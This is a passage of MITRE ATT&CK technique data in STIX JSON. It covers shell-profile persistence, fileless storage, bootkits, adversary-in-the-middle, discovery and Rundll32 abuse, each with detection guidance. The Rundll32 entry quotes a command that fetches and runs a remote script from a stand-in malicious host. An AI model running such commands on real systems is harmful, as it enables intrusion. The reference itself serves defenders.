2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"},{"source_name":"WMI 1-3","description":"Microsoft. (2023, March 7). Retrieved February 13, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"},{"source_name":"WMI 7,8","description":"Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.","url":"https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-15T20:24:13.473Z","name":"Malicious Shell Modification","description":"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Robert Wilson","Joe Gervais","Tony Lambert, Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple’s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE function for monitoring these specific files. \n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1156","external_id":"T1156"},{"source_name":"intezer-kaiji-malware","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:39.967Z","name":"Screen Capture","description":"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.","x_mitre_domains":["enterprise-attack"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","created":"2017-05-31T21:31:25.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1113","external_id":"T1113"},{"source_name":"CopyFromScreen .NET","description":"Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.","url":"https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"},{"source_name":"Antiquated Mac Malware","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_is_subtechnique":false},{"modified":"2024-10-04T15:05:25.388Z","name":"Fileless Storage","description":"Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Christopher Peacock","Denise Tan","Mark Wee","Simona David","Xavier Rousseau","Vito Alfano, Group-IB"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux"],"x_mitre_version":"2.0","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","WMI: WMI Creation","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","created":"2023-03-23T19:55:25.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/011","external_id":"T1027.011"},{"source_name":"Aquasec Muhstik Malware 2024","description":" Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.","url":"https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/"},{"source_name":"Elastic Binary Executed from Shared Memory Directory","description":"Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.","url":"https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html"},{"source_name":"SecureList Fileless","description":"Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023.","url":"https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"},{"source_name":"Microsoft Fileless","description":"Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.","url":"https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"},{"source_name":"Sysdig Fileless Malware 23022","description":"Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.","url":"https://sysdig.com/blog/containers-read-only-fileless-malware/"},{"source_name":"Akami Frog4Shell 2024","description":"Ori David. (2024, February 1). Frog4Shell — FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.","url":"https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d","type":"attack-pattern","created":"2017-05-31T21:30:54.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1067","url":"https://attack.mitre.org/techniques/T1067"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf","description":"Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.","source_name":"MTrends 2016"},{"url":"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion","description":"Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.","source_name":"Lau 2011"}],"modified":"2020-03-20T19:53:25.628Z","name":"Bootkit","description":"A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-04-16T12:23:13.621Z","name":"Boot or Logon Initialization Scripts","description":"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["macOS","Windows","Linux","Network"],"x_mitre_version":"2.3","x_mitre_data_sources":["File: File Modification","Windows Registry: Windows Registry Key Creation","Command: Command Execution","File: File Creation","Process: Process Creation","Active Directory: Active Directory Object Modification"],"type":"attack-pattern","id":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","created":"2017-05-31T21:30:38.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1037","external_id":"T1037"},{"source_name":"Anomali Rocke March 2019","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-18T14:26:21.852Z","name":"Adversary-in-the-Middle","description":"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Mayuresh Dani, Qualys","Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project","NEC"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux","Network"],"x_mitre_version":"2.4","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Content","Windows Registry: Windows Registry Key Modification","Network Traffic: Network Traffic Flow","Service: Service Creation"],"type":"attack-pattern","id":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","created":"2020-02-11T19:07:12.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1557","external_id":"T1557"},{"source_name":"dns_changer_trojans","description":"Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"},{"source_name":"volexity_0day_sophos_FW","description":"Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.","url":"https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"},{"source_name":"taxonomy_downgrade_att_tls","description":"Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.","url":"https://arxiv.org/abs/1809.05681"},{"source_name":"ad_blocker_with_miner","description":"Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.","url":"https://securelist.com/ad-blocker-with-miner-included/101105/"},{"source_name":"Token tactics","description":"Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"},{"source_name":"mitm_tls_downgrade_att","description":"praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.","url":"https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"},{"source_name":"Rapid7 MiTM Basics","description":"Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.","url":"https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"},{"source_name":"tlseminar_downgrade_att","description":"Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.","url":"https://tlseminar.github.io/downgrade-attacks/"},{"source_name":"ttint_rat","description":"Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.","url":"https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T19:50:06.736Z","name":"System Owner/User Discovery","description":"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.5","x_mitre_data_sources":["Active Directory: Active Directory Object Access","Process: OS API Execution","Command: Command Execution","Network Traffic: Network Traffic Content","Process: Process Creation","Network Traffic: Network Traffic Flow","Windows Registry: Windows Registry Key Access","File: File Access","Process: Process Access"],"type":"attack-pattern","id":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","created":"2017-05-31T21:30:35.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1033","external_id":"T1033"},{"source_name":"show_ssh_users_cmd_cisco","description":"Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:03:59.884Z","name":"Acquire Infrastructure","description":"Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.4","x_mitre_data_sources":["Internet Scan: Response Metadata","Internet Scan: Response Content","Domain Name: Active DNS","Domain Name: Passive DNS","Domain Name: Domain Registration"],"type":"attack-pattern","id":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","created":"2020-09-30T16:37:40.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583","external_id":"T1583"},{"source_name":"amnesty_nso_pegasus","description":"Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.","url":"https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"},{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"FBI Proxies Credential Stuffing","description":"FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.","url":"https://www.ic3.gov/Media/News/2022/220818.pdf"},{"source_name":"Free Trial PurpleUrchin","description":"Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.","url":"https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"},{"source_name":"TrendmicroHideoutsLease","description":"Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.","url":"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T13:14:43.083Z","name":"Rundll32","description":"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Gareth Phillips, Seek Ltd.","Casey Smith","Ricardo Dias","James_inthe_box, Me"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial 